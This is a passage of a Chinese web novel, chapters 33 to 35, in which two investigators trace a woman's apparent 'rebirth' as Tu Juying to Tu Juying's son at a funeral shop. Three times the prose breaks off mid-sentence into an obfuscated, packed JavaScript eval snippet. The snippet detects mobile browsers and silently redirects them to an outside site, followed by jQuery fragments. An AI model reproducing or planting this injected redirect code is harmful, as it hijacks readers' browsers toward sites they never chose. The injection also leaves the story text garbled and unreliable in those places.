秦于理摇头:“我们没见过,家里也没人来过这里。” 赵明廷似是有点迷惑,但最后只是笑笑:“告辞了。”说完,便走出了门。 33.第33章 79人寻踪 秦于理看着赵明廷背影消失,说了句:“挺有意思的。” 秋樰生说:“谁?谁有意思?赵大仙儿?” 秦于理说:“你跟他熟吗?” 秋樰生说:“这附近就这一个大仙,从小到大村里有事请的基本都是他,我跟他见过几面,但是不熟,毕竟我以前不信那些神神叨叨的东西。” 秦于理看他:“现在你信了?” 秋樰生反驳:“现在也不信,你自己说的,重……那什么可以用科学概念来解释。” 村民们都走了,可是林雅菲还在,虽然不知道她现在到底是个重生人还是落水受了刺激,成了脑子不好使的普通人,秋樰生还是很及时地改了口。 秦于理从口袋里掏出刚刚从湖里找到的翡翠耳坠给林雅菲看,林雅菲一脸茫然地回看她。 秦于理问:“认识这个吗?” 林雅菲摇头。 秋樰生在旁边仔细看了,说:“女人的首饰,款式有点老,但看起来是真货。” 秦于理伸出手,林雅菲吓得往后退了半步,但秦于理动作很快,她飞快地在林雅菲耳垂上摸了一下,随后说:“没有打耳洞。” 这枚菊花造型的金镶玉翡翠耳坠用了耳针,需要打洞才能佩戴,这么看起来,虽然秦于理是从林雅菲昨晚落水的地方找到的东西,但这东西似乎并不属林雅菲所有。 秋樰生问:“你哪里找到的,湖边?” 林雅菲的面色似乎微微变了一下,显得有些迟疑。 秦于理点头:“嗯,不知道是谁掉的。” 秋樰生说:“雅菲是做护士的,平时不能佩戴首饰。” 秦于理刚刚也听到了,林老头对自己闺女在城里当护士颇为自豪,话又说回来,虽然自豪,却能为了结婚轻易把闺女从城里喊回来,看样子也不像是打算让她婚后继续工作的样子。 林雅菲说:“云升哥哥,天已经亮了,你不是答应今天带我回家吗?” 秋樰生愣了一下,然后才想起来还有这么一出。他求助地看向秦于理,秦于理说:“答应小姑娘的事怎么能不做?” 秋樰生说:“我哪儿知道……” 秦于理说:“上了路再说呗,说不定开着开着记忆就回来了。” 秋樰生大概也知道昨天答应了林雅菲的事今天不做到要出幺蛾子,加上刚刚村里人来闹了一通,也都达成了要完成“屠菊英”心愿的共识,所以最后还是点点头:“行,那你跟我一起去。” 秦于理说:“我就算……” 秋樰生说:“秦于理!” 秦于理举手投降:“行行行,我欠你的,这次一口气还清。” 于是,秋樰生开车载着秦于理和林雅菲一起出村,明着送“屠菊英”回家,实则相当于游车河。 毕竟是节假日,即便霞鹜村地处山里,周围公路上还是多出了不少车辆。秦于理让林雅菲坐在副驾驶,自己坐在后座,又拿着自己的笔记本写写画画,时不时发消息。 秋樰生有心想问问她在做什么,无奈林雅菲一直缠着他。 林雅菲说:“云升哥哥,我们要多久才能回到家呀?” 秋樰生说:“说不好,你看路上车子那么多,时间算不准。” 林雅菲又说:“云升哥哥,你好久没带我出来玩了,我一个人很无趣。” 秋樰生只好说:“我平时工作忙,实在抽不出时间,不好意思。” 秦于理的电话响起来,秋樰生从后视镜看她接起电话,有心想听听她跟谁在讲话,又在忙活什么,结果秦于理插了耳机,光听不说,只是“嗯嗯”,一通电话打完,秋樰生什么也没听出来,急得简直想抓耳挠腮。 车子一开始是漫无目的在开,后来秋樰生想了一下,便拐上了进中心城区的道路,林雅菲工作的医院就在那里。 街上人来人往,只要不工作,大家都是轻松快乐的模样。林雅菲趴在车窗上,对着外面看个不停,似乎十分有兴致。 车子开过天湖中心医院门口的时候,秋樰生特地放慢了速度,留神打量林雅菲的表情。 医护工作者是没有长假一说的,即便是长假里,这里也人丁兴旺。林雅菲从玻璃窗往外看了一会儿后说:“好多人生病啊!” 秋樰生说:“人食五谷杂粮,谁没个头痛拉稀。” 秦于理说:“你这么说话,怎么找得到女朋友?” 秋樰生说:“奇了怪了,你不就是我女朋友?” 林雅菲的脸色又变了,秋樰生赶紧说:“开玩笑的,我只是开玩笑,她是我同事!” 林雅菲便又变脸,重新变得开心起来。秋樰生绕着医院外墙转了一圈,林雅菲都没什么特别表现,只是不停叽叽喳喳,一会儿说这医院怎么那么大,一会儿又说那栋楼怎么那么高,就像是没怎么看见过繁华的都市景象——哪怕本区甚至是本市在国内也只能算二三线徘徊。 边堵边游车河,还得边回答林雅菲的问题,时间很快过去,不一会儿就到了中午。 林雅菲说:“云升哥哥,我肚子饿了,我们中饭到哪里吃呀?” 秋樰生问秦于理:“你有什么忌口的吗?” 秦于理嘴里叼着支笔,正在思考什么,闻言头也不抬:“不挑,你决定吧。” 秋樰生便拉着两个姑娘去了附近一家小餐馆。 秋樰生说:“念书的时候常来这儿吃,这家店东西便宜又新鲜,老板很厚道。” 话刚说完,秋樰生就愣在了那儿。 秦于理下车问:“怎么了?” 秋樰生有些茫然地看向林雅菲,林雅菲歪了下头,也茫然地回看向他。秋樰生说:“换人做了。” 原来秋樰生说的家常炒菜小餐馆如今变成了连锁的平价食堂,节日里进去随便吃两口的老老小小也不少。 秦于理说:“我不挑,你呢?” 林雅菲说:“云升哥哥说哪儿就是哪儿!”紧紧拽着秋樰生的胳膊,像是在宣誓某种主权。 秦于理微微眯了眯眼,像是打算扑食猎物的猛兽,林雅菲弱弱地躲到秋樰生身后,和她拉开一段距离。 秋樰生:“?” 秦于理却又收回目光,双手插兜,潇洒地走进店铺里,那样子不像是在平价食堂对付一餐的老百姓,倒像是个来逡巡地盘的土皇帝。 进店后,秋樰生安排林雅菲先去占座,给她倒了大麦茶让她慢慢喝,然后去找秦于理。后者正在玻璃柜台前巡视,一样样打量里头的菜色。 秋樰生靠近后,秦于理说:“你刚刚在试她的反应吗?” 秋樰生没想着能瞒过秦于理:“对。” 虽然很多年没回来,但秋樰生既然知道林雅菲的具体工作地点,当然也知道真正的林雅菲对附近的食堂小店应该很熟悉,毕竟医护工作者常年吃饭不规律,叫外卖是家常便饭,他刚刚特意装出不知道店铺换主人的样子,为的就是看看林雅菲是否有反应,结果小姑娘的表现毫无瑕疵。 她看起来真的像一个对林雅菲的生活十分无知的另一个人。 “这样对劲吗?”秋樰生问,“我记得你说过,重生人会继承一部分甚至全部原主的记忆。” 秦于理拿了个托盘,往里面一一端菜,先是一个湘西土匪鸭,然后是一道手撕干锅鸡,再然后是半只铁锅炖大鹅,还要加三个红烧大肉丸子。 秋樰生睁大眼睛:“吃得完吗?” 秦于理说:“都尝尝味道不行吗,我第一次来你们这儿。” 秋樰生说:“这种连锁食堂哪儿哪儿口味都差不多,你没吃过?” 秦于理摇头。 秋樰生震惊。 秦于理又说:“你都说可能继承一部分了,万一忘记的刚好是工作和食堂呢?”意思就是目下对林雅菲的测试不足以证明她的重生有什么问题。 “哦,对了。”秦于理说,“刚刚赵萌萌来电话了。” 秋樰生还以为秦于理刚刚在车上瞒着他,现在也不会告诉他,没想到秦于理又开口了,一时居然有点受宠若惊,赶紧伸手接过秦于理手中放满了硬菜,十分沉重的托盘。结果秦于理又拿了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521771|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新托盘,开始往里面装菜。 秋樰生也来不及心疼钱包了,问:“你让赵萌萌查什么了?” “昨晚那48个屠菊英和31个李云升。” 秋樰生说:“这么快就有结论了?” 秦于理说:“你不会傻到一个个去核实谁是谁吧,我让萌萌编了两条短信,分别群发给了这79个人。” 秋樰生的脑子转了一下便明白过来:“你用屠菊英和李云升的身份分别给另一方发消息了?” 秦于理说:“还行,脑子多少有点儿用。” 秋樰生从警到现在,哪怕是刚毕业当学徒那会儿都没人敢这么说他,想发作,又觉得计较这个挺滑稽的,只得忍气吞声,咽了回去。 秦于理说:“已知屠菊英和李云升曾经是一对青梅竹马,并且检索到的人年龄都超过50,所以情况有几种,其一他们结为连理,现在还在一起生活;其二,他们各自有了家庭,并且互不联系;其三,他们虽然各自有了家庭,但还保留着一定的联系;但不管怎么说……” “屠菊英已经死了。”秋樰生说,“如果雅菲真的变成了重生人屠菊英,那她走得应该还很早。”毕竟现在自称屠菊英的林雅菲还是一派少女的做派,看起来并不像是个老人,除了昨晚。 秋樰生想起来昨晚林雅菲做噩梦惊醒以后,突然讲话老气横秋,但今天并没有这种做派,所以也不知道是不是自己的错觉。 “嗯。”秦于理已经又装了一托盘的菜,还试图见缝插针往上头叠凉菜和汤,看得旁边的食客都瞳孔地震,纷纷闪避不及。 “其实如果能确定屠菊英是重生人的话,光联系李云升就行,但我怕中间还有疏忽,比如重生是重生了,但是重生人冒用了屠菊英的身份才说不出更多的信息来,所以让萌萌分别联系了活着的那些屠菊英和李云升,借口好久不见,最近来了对方的城市,询问是否有空碰面小叙。” “结果呢?”秋樰生问,眼睁睁看着秦于理往他手中的托盘上又加了三罐快乐水。 “大部分没有回音,只有3个屠菊英和1个李云升有动静。两个屠菊英回消息说不认识李云升,问是否找错了人,一个李云升打电话回来,询问萌萌上哪儿吃饭,但声音明显是个年轻人,萌萌追问了林雅菲唱过的那首童谣,对方压根答不上来,想必电话号码已经不是本来的李云升在用了。” “剩下那个屠菊英呢?”秋樰生和秦于理已经快走回座位了,为了避开林雅菲,只能又在点心柜台前停留排队。 秦于理说:“是个中年男人打回来的,他对萌萌破口大骂,威胁她如果再恶作剧,就要她好看!” 秋樰生“咦”了一声:“这反应不对啊。” “嗯,你也想到了。”秦于理说,“一般人收到不认识号码不认识人的消息,大多数会当没看见,少数会好心提醒是不是联系错了人,还有少数脾气爆,刚好碰到不高兴事的人会反打回来骂人,但就算是骂,也应该骂得是……” “死骗子,再骚扰的话,当心我报警!”秋樰生说。 秦于理点头:“所以这个人的反应很有意思不是吗?” 秋樰生思索着道:“那个号码是屠菊英的,这个人代接电话,说明他和屠菊英关系亲厚,再听他的口气,他应该也认识或者至少知道李云升,但他接到萌萌冒充李云升发的消息后,却反应大到直接回拨电话,开口就怪萌萌恶作剧,什么样的情况下会得出这种结论?难道……李云升已经死了?” 如果一个人接到一个明知已死的人发来的消息,还要求一聚,第一反应肯定是惊惧生气,因此才会回拨电话破口大骂。 “对,而且巧合的是,那个屠菊英户籍信息里注册的地址,就在这附近。” 秋樰生说:“那还等什么,现在就……” 秦于理说:“急什么,吃完再去,来都来了……” 原来,两人面前的队终于排完了,秦于理毫不客气地说:“师傅,再给我一笼蒸饺一笼花卷一份红糖糍粑和一碗红油抄手。” 秋樰生:“……” 34.第34章 女孩与老猫 好不容易等到秦于理把一桌子的饭菜都风卷残云地干完,秋樰生对前往那个特殊的“屠菊英”家的期待已经被磨灭了一半。 三人先后从饭馆里出来,秦于理手里还拎着几个打包盒——那并非她之前点了没吃完的,而是吃完以后又加的,不过这一次,倒是她自己付的钱。 秋樰生觉得很不可思议。这种连锁食堂的菜色乍看丰富,可吃起来就那么回事,如果常来用餐就会发现菜单基本就是个循环往复,但秦于理似乎觉得这里的饭菜十分可口,甚至有些爱不释口。 两人昨晚到霞鹜村的时候已经晚了,加上调查林雅菲落水后疑似重生的事,晚饭只用泡面对付了一下,现在秦于理的样子难得让秋樰生有点儿心虚。 人是他喊出来的,要是给人饿出个好歹来,那他堂堂秋队也没什么脸面回隀明市了。 注意到秋樰生打量自己的目光,秦于理也低头看了眼自己的肚子。她长得瘦削高挑,尤其是腰又细又韧,这会儿塞了一桌子吃的进去,却也没见小肚子凸起。 秋樰生问她:“吃饱了?” 秦于理点头:“嗯。” 秋樰生犹豫了一下,最后还是忍不住问:“你在家也这么吃吗?” 秦于理说:“看情况。” 秋樰生问:“什么叫看情况?” 秦于理说:“就是有好吃的就多吃点,没好吃的就凑活吃点。” “没吃的就不吃?” “就不吃。” 秋樰生最后一句话是开玩笑,他觉得秦于理也应当是开玩笑,但看她的表情又不像。秦于理常年都没什么表情,非要形容就是有种淡淡的厌世感,很难想象她会端着这样一张脸开玩笑,更不用说是跟自己开——是的,秋樰生觉得自己不配。 这个念头一出来,秋樰生自己都有点惊到了。他和秦于理才认识没几天,好像也没看她做什么,秋樰生却觉得自己好像不知不觉已经被她“CPU”(PUA)到了。 “不可能,绝对不可能!”秋樰生赶紧摇头。 无视秦于理疑惑的目光,秋樰生解锁车辆,正要坐进去,忽然被秦于理一把拉住。 “怎么了?” “车下面有东西。” 秋樰生疑惑地蹲下身去,他身后跟着的林雅菲也一起蹲下身去,随后惊讶地喊了一声:“棉花糖!” 伴随着“喵”的一声,白花花的老猫居然从车底盘钻了出来,直接扑进了女孩的怀里。谁也不知道什么时候,那只老猫居然溜上了车,跟上他们,一起翻山越岭进了城。 不过对棉花糖突然出现的惊讶过后,秋樰生马上想到了另一件事,他扭头看向秦于理,只见后者也正微微眯着眼睛,若有所思地打量着正在抚摸猫头的林雅菲。 自从落水被救起后,林雅菲就自称自己是屠菊英,除了错认秋樰生为李云升,她似乎对林雅菲的生活一无所知,那么她为什么能一眼认出林雅菲的猫?是因为其实她继承了林雅菲的全部或部分记忆吗,那么之前为什么不承认呢? 秋樰生在心里打了个问号,也知道此时不是问话的时机,只对林雅菲说:“走吧,上车,带你们回家。” 林雅菲乖巧地点点头,抱着棉花糖想要回到副驾驶座,秦于理已经给她打开了后车门:“坐后面宽敞,猫咪也不容易受惊。” 林雅菲略微犹豫,最后还是钻进了后座,于是这次换秦于理坐到了秋樰生的副驾驶位上。秦于理一坐进去,就听到秋樰生长长舒了口气,秦于理看他,疑似阴阳怪气道:“怎么,跟你的雅菲妹妹坐一块儿那么紧张的吗?” “昂。”秋樰生老实承认,等着秦于理嘲笑他,结果后者只是问了这么一句就结束了。 秋樰生越发觉得,秦于理这个人的脑回路有点清奇。他发动车子,三人一猫就朝着最后那个屠菊英户籍信息里的地址驶去。 严格来说,那个屠菊英的地址不在市中心,而是在与霞鹜村相对的另一片郊区,三人花了一个半小时才抵达那片区域,又花了将近半小时才找到了那个老小区。 此时已经是下午三点四十分了,这几年城市化进程很快,秋樰生的老家霞鹜村村民就是从半山腰上响应政府号召整村搬迁下来的,更不用说城区的居民们。但凡有点财力的,早就置换了新城的新小区,留在郊区老小区中的往往都是上了年纪的老人和收入不高的外来务工者,又因为这里只能算二、三线城市,前来打工的外来劳务人员也不多,加上国庆假期,人们出门旅游散心,老小区里显得格外的冷清。 进门的时候门卫给他们指过路,57号在小区最深处,秋樰生的车一路开进去就碰到三个人,两个老人一个小孩,最后停在一栋外墙立面斑驳,爬满了爬山虎的老楼跟前。 这种楼房还是上个世纪八九十年代的建筑,一共五层,每层缓步平台处都凿刻了镂空的石头纹路,屠菊英家就在四楼。 秋樰生停好车,推门下车,林雅菲却愣着没有动。 秋樰生问:“怎么了?” 林雅菲抱着棉花糖,老猫在她怀里安分温顺,她问:“这儿是哪儿?” 秋樰生打开后车门,试探着说:“是你家,不认识了吗?” 林雅菲疑惑地探出头,左右看了看,然后说:“这儿不是我家啊。” 秋樰生说:“你确定?要不要上楼看看?” 林雅菲一脸要哭出来的神情:“云升哥哥,你别跟我开玩笑,我害怕。”说完,人就又缩回了车里。 秦于理把秋樰生扶着车门的手扫开,自己把车门推回去,还给林雅菲把后车窗降了下来,她说:“是跟你开玩笑,我们上楼办点事,一会儿就下来。” 林雅菲抱着棉花糖不安地问:“你们要去多久啊?” “很快,最多一刻钟,啊不,十分钟。”秦于理说,“你在这儿陪棉花糖等我们就好。”说完就关上了车门。 秋樰生说:“你……” 秦于理推他往楼里走:“快点快点,别让菊英等急了。”也不知道说得是楼上的还是车里的“屠菊英”。 楼道里一股老楼房才有的煤烟灰尘味,老旧的石头楼梯上加装了不锈钢扶手,秦于理和秋樰生还在底楼看到了一台爬楼机,看样子应该是新近给老年居民安装的,还很新,但不知道为什么钢管已经变形,此时上面贴了张字条,写着大大的“修理中”三个字。 秦于理和秋樰生当然不需要乘坐爬楼机,两人都动作敏捷,很快爬到了四楼。 这种老楼一层有三户人家,屠菊英家在401,秋樰生转了一圈没看到门牌,秦于理却已经挑了一扇贴了春联的房门敲起来。 “有人吗,您好,我们是社区工作人员,来找401屠阿姨的!”秦于理动作流畅自然,宛然一个节假日上门工作的普通社区服务人员。 秋樰生甚至还没来得及说什么,那扇门就打开了,隔着铁门,一个头发花白的阿姨疑惑地打量着两人。 “你们是?” “阿姨,你好,我们是社区工作人员,来找401的屠菊英阿姨的。” 老阿姨说:“社区的?我怎么没见过你们?” 秦于理明显愣了一下。 老年人没事做,经常在社区里晃悠,有点什么事都会去找社区工作人员诉说,所以很多社区人员和社区里老人的关系比亲子女都亲密,秋樰生发现, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526135|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦于理虽然办重生案素质很高也很能打,但在日常生活方面的反应总有点和一般人不同。 秋樰生轻轻将秦于理挪开,掏出警官证亮了一下:“阿姨,我是派出所民警,来了解下屠菊英老人的事。”秋樰生本来就长得好看,办案经验也丰富,很知道怎么讨老年人的喜欢,那阿姨本来警惕的神情在来回看了警官证和秋樰生的脸以后马上放松了不少。 “哎呀,你们这时候倒是来了!”她说着,伸手去弄铁门门锁,似乎要开门让两人进去。 秋樰生忙说:“我们还在工作时间,就不进去了,站在门外说就好。” 阿姨的态度现在看着是真的放松了,果然刚刚开铁门也只是个假动作。秦于理见秋樰生成功搭上话,自己便往后一缩,把秋樰生让到前面。 秋樰生说:“屠阿姨她……” 秋樰生技巧性的停顿,果然开门的阿姨自己把话接了下去:“你们也真是的,都报了好几回警了,每次都是来看看就走,思想教育、思想教育,光思想教育能有什么用,整栋楼的人都快被她烦死了,还好前一阵子,她那个儿子终于良心发现,把老娘接走了,我们这才太平了。” 听起来,这个屠菊英还活着,不仅活着,还给整栋楼的邻居造成了不小的麻烦。 秋樰生想到底楼那部坏掉的新爬楼机,不由得灵光一闪,问:“屠菊英老人的神智还是不清醒吗?” “可不是嘛!”那老阿姨一迭声地抱怨,“她自从脑子不灵光以后,常常惹事,不是在家里摔东西就是从楼上往下丢垃圾、粪便,我老伴上门提意见,她还骂人,骂得那叫一个难听!”老阿姨说到这里却又有点兔死狐悲的伤感,“我们也是老邻居了,她年轻时候多体面一个文化人哪,我女儿小的时候她还给辅导过功课呢,可得了病以后,她就不是她了,我们也是没办法。你也知道的,现在买套房子多贵啊,装修也要花精力,我们是没本事换房子了,就想着在这里舒舒服服住到走的那天,谁想到会跟她闹矛盾,唉。” 秦于理拉拉秋樰生,用口型问:“阿尔兹海默?” 秋樰生点头,随即又对老人说:“阿姨,我们懂的,这次过来就是看看最近情况怎么样了,既然事情已经解决了,那我们也就放心了。” 老阿姨唏嘘:“但凡能有别的选择,我们也不想赶她走啊,也不知道她现在过得怎么样。” 秋樰生问:“屠菊英老人的儿子是什么时候把她接走的,后来回来过吗?” 老阿姨说:“大概……半个多月前吧,说是接回去过中秋节,她那样子,也难说还懂不懂一家团圆。后来,后来就没回来过了。” 秦于理问:“阿姨,您知道屠菊英老人的儿子家地址吗?” 老阿姨说:“哎呀,这我们可不知道,她就一个儿子,我记得应该是在天湖中心医院对面的殡葬店里工作的,具体店名我记不起来了,他们是夫妻老婆店。” 秦于理和秋樰生对视一眼,天湖中心医院的再次出现让他们觉得自己正在快速接近真相。 “谢谢您,阿姨,祝您身体健康,节日快乐。”秋樰生飞快地说完,这次换他推着秦于理快快下楼。 走到二楼缓步平台的时候,秋樰生却又突然停下了脚步。 秦于理问:“怎么?” “等一下。” 秋樰生侧贴墙壁,从镂空石刻面的孔隙里看出去,底下就是他刚刚停车的地方,此时老破奥迪的后车门关着,可以看到林雅菲抱着棉花糖,斜靠在车门边,正望着楼上发呆。秋日的凉风拂过,吹起女孩的长发,也吹动了老白猫的长毛,一人一猫的神情在此时莫名重叠,有一种说不出的萧索与寂寥。 35.第35章 学思殡葬店 离开小区后,秋樰生的车子里难得的安静。 林雅菲还是抱着棉花糖坐在后座,区别在于,来的路上她问东问西,这会儿却像哑巴了似的一声不吭,也没追着问自己什么时候能回家。 秋樰生时不时从后视镜看看她,确认女孩子的情况,但除了突然不爱讲话了,其他也看不出什么来。 车子重新开回天湖中心医院附近的时候,林雅菲终于抬了下眼皮,但还是没说什么,很快又低头轻抚起膝头上蹲着的猫咪,显得对周围漠不关心。 “我们还需要办点事,晚点才能送你回去。”秋樰生见秦于理又在自己的本子上写写画画,只得由他来打破沉默。 后座的林雅菲“哦”了一声,没有接口。 此时已经到了傍晚,街上人流明显增多,秋樰生把车停到医院停车场,带着秦于理和林雅菲拐了个弯,走到医院侧面的马路上。 但凡人流集中的地方,生意就不会难做,医院旁边也是一样,小吃、杂货、水果、鲜花等店铺挤挤挨挨开满了整条街,但其中门脸最显眼的还得数殡葬用品店。 是人都会生病,是人也都会死,所以医院永远不缺生意,医院旁边也永远不缺殡葬店。 秋樰生做好了要挨家挨户寻找屠菊英儿子儿媳店铺的准备,没想到秦于理看着腕表,原地转了两圈,就径直朝前方一家叫“学思殡葬用品店”的店铺走去。 这家店铺不是整条街上所有殡葬铺子里最大的一间,但名字和店招风格都十分突出。别人家殡葬店不是叫安详,就是叫宝寿,要不然叫恒昌,总要讨个口彩,同时也彰显自己的行业特点,偏偏这家叫学思,招牌还有点花哨,看起来不像做殡葬服务的,倒像是开培训班的。 “学而不思则罔,思而不学则殆,这怕不是老板自己的名字。”秦于理说着,率先走进店铺。 这条街本就是条老街,路窄门面小,街面铺子大多上了年纪。跨过门槛以后,地势微微向下,加上这铺子本身是个窄而深的长方形,所以此时虽然暮色才初降,店里看着已经十分幽深昏暗。过道两侧堆满了纸扎人偶马匹元宝锡箔等物,墙上则挂着一排排红黄蓝绿的缎面寿衣,颜色饱和度超高,同时有各种糖果零食手帕瓷碗筷子等白事用的随礼放在玻璃展示柜里。 老板是个中年男人,此时正站在最深处的柜台边噼里啪啦按计算器,听到有人进来的脚步声,头也没抬,只简单招呼了一声:“随便看,想问什么喊我就行。” 秋樰生应了一声,目光落到老板身后的墙上,那里挂了整整一面墙的遗照,展示了不同材质、不同装饰绸花的遗照样子。跟婚纱写真不同,这种展示相片肯定没有模特,所以大多数相框里装的不是风景图片就是人形轮廓示意图,只有正上方一个最大的相框里放的是真人黑白照,里头是个老头,满脸皱纹,眼皮下垂,眼神阴鸷,唇线绷紧,看起来生前并不是个好相与的人。 大概是察觉了秋樰生的目光,老板抬起头来看了他一眼,又回头看了自己身后一眼说:“要买相框的话自己挑款式,消费超过一百,可以免费给你放大冲洗照片。” 秋樰生问:“相片里这位是?” 老板说:“是家父。” “哦。”秋樰生想,原来是自己人,怪不得会放在店里当模特了,他又问,“老板怎么称呼啊?” 这句话问得不算冒进,但柜台边的老板却忽然警惕起来,放下手头的事,他问:“你们到底是想买什么?” “你怎么不进来?”秦于理的声音突然响起,及时给秋樰生解了围,她对着外面张望,随后急匆匆跨过门槛,没一会儿牵着林雅菲的手重新走进来。 女孩子低着头,显得局促不安,长发掩盖了她大半的脸庞。老板看了一会儿却把人认了出来,疑惑地喊了声:“小林护士?” 秋樰生惊讶:“你们认识?” 老板微微一怔,随后说:“认识啊,小林护士不是在对面医院上班嘛,街里街坊的,平时走出走进难免遇到,我们跟医院里不少医生护士都认识的。”随后他似乎意识到了什么,问,“你是小林护士的……” “哥哥。”秋樰生试探着回答。 老板恍然大悟:“原来你就是小林护士那个在外地上班的哥哥啊,我以前听她提起过你,怎么了这是……家里要办事?” 秋樰生含糊地应了一声,老板却似乎因为和林雅菲认识,反而放下了警惕,没有察觉。他先说了“节哀”,然后又说:“怪不得有一阵子没见着小林护士了,我还当你休假了呢。” 这老板知道林雅菲最近没上班却不知道她要结婚,可见两人的关系并不亲近,充其量只是邻居。 突然,一阵手机铃声响起。说是手机铃声是因为这段旋律充满电子音频的特征,一听就知道不是现在主流人群用的智能手机而更像是老年机发出来的类型。 屋子里几个人都听到了那串铃声,但居然谁也没有动。铃声一直响个不停,秦于理开口说:“老板,是你的手机在响吗,你快去接电话吧,我们可以先自己看看。” “不好意思,那几位稍等。”老板匆匆从一扇小门进入屋后,铃声停了,不久,又一串简短却响亮的旋律响起,伴随着人声提示:“已关机。” 老板又快步从里屋走出来,这次他先迎面看了看秋樰生和秦于理两人一眼,然后有些心虚地移开了目光说:“现在骚扰电话真多,还是关机清净。”显然,他对那部里屋放着的老年机并不熟悉,连关机有人声提示都不知道。 秦于理的目光则落到了柜台里面,老板也跟着看过去,随后一愣。柜台里头展示着各种骨灰盒,最近的一口旁边放着一部半旧不新的苹果15,还是粉粉的颜色。老板赶忙伸手把手机捞出来装进兜里,故作镇定说:“这是我老婆淘汰下来的,专门联系客户用的。” 秦于理的声音则几乎同时响起,她问:“这个骨灰盒用的什么材质啊?” 老板发现自己会错了意,顿时狼狈不已,额头都冒出了虚汗,他结结巴巴地说:“这、这是国内产的黑檀木,比较、比较经济实惠,你要的话,可以给你打折,480……” 秦于理又问:“还有更好的质地吗?” “有,要是想要质地更结实耐磨一点,可以选择这种马来西亚酸枝木的,再贵一点有老挝大叶紫檀木的,也有汉白玉的,我可以都给你拿出来看看。” 秦于理说:“好啊,那我就都看看。”等老板把骨灰盒搬出来,她还真的仔细研究起不同品种的骨灰盒来。 秋樰生在旁边帮衬说:“家里老人其实还没走,但这几天眼看着不太好了,长辈们看着老人又走不开,所以让我们几个小的先来咨询一下,有备无患。” 老板忙说:“没关系没关系,吉人天相,用不上是最好的。” 秋樰生说:“承你吉言。” 像是回合制游戏里完成了一个回合,两人又都沉默了下来,屋子里只剩秦于理反复开关各种骨灰盒的声音。 秋樰生刚想再问问您这儿怎么收费好拖延时间,却听一个变声期的公鸭嗓突然传来。 “爸,妈在吗?”随着声音,门口走进来一个将近一米八的少年,长得跟老板几分相像,穿着一身初中生的校服,背着书包,手里还抓着一个篮球。 “睿睿,你怎么来了。”老板对秋樰生示意了一下,秋樰生让开身,老板赶紧从柜台后走出来,“不是跟你说了吗,少来店里头,别沾了晦气。你妈下午去美发店做头发去了,到现在都没回来呢,也不知道晚饭回不回来吃。” 睿睿说:“哈?我不是跟她说过我晚上要跟同学聚餐吗,她答应了我要给我钱的,她怎么骗人啊!” 老板忙说:“你要多少,爸转给你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16531012|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 少年狮子大开口:“一千就行。” 老板抬起头:“一、一千?你要这么多钱做什么,吃顿饭也花不了那么多啊!” 少年把球往地上一砸,也不管篮球撞歪了一旁的塑料大别野,没耐烦地说:“怎么用不了那些,你知道现在吃饭什么价码吗,人均200才能算顿饭,再说了,我跟其他人说好了,晚上要去KTV唱歌的。” “还要去唱歌,你们去几个人,都有些谁啊?” “你怎么管得这么宽啊!”少年明显不高兴了,声音都拔高了几度,显得更聒噪了,“都放长假了,我跟同学聚聚怎么了,你不要害我被人嘲笑好不好?算了算了,你告诉我,妈去了哪家美发店,我找她去,不跟你啰嗦!” 老板说:“你妈今天去了家新开的高档理发店,我也不知道具体地址。” “啊,烦死人了!”少年发了脾气,他把书包往老板怀里重重一丢,“我同学还在等我呢,你到底给不给我钱!” “给给给。”老板说,“睿睿啊,爸爸手机里只有700了,你也知道家里要给你买学区房,最近手头紧,爸给你500行吗?”他说着,掏出那部粉色的苹果手机,却被少年一把抢了过去。后者飞快地在手机上滑动按压,很快,大家都十分熟悉的转账完成的提示音响了起来。 少年没好气地说:“今天时间紧,700就700,记得回头我妈回来,你让她给我再转300过来,不然我跟你们没完!”说完,少年把校服外套脱下来扔在店里,攥着自己的手机出门了。 店里再次陷入了安静,秦于理也终于检查完了那些骨灰盒,没再发出动静,秋樰生正要再找个话题,却听林雅菲的声音幽幽响了起来,她问:“你家老人呢?” 老板疑惑地看向林雅菲,林雅菲又问:“屠阿姨呢,她身体还好吗?” 老板瞬间有些惊慌,说:“你、你认识我妈?”这就是把身份坐实了,他的确是屠菊英的儿子。 老板说:“她从没来过店里,你们是怎么认识的?” 林雅菲说:“‘3·5’学雷锋做社区志愿者的时候偶然碰见的,好久没看到她了,她怎么了?” 老板肉眼可见的慌张:“我、我妈最近身体不大好,所、所以卧床静养中。” “我能去你家里看一看她吗,我有点担心她。” 老板长得也有一米七十多,此时在林雅菲跟前却微妙地显得渺小起来,他往后退开半步说:“啊,这,这不太方便吧。” “哪里不方便了?”林雅菲步步紧逼,老板不停退后,直到撞到柜台,发出了哐当一声。 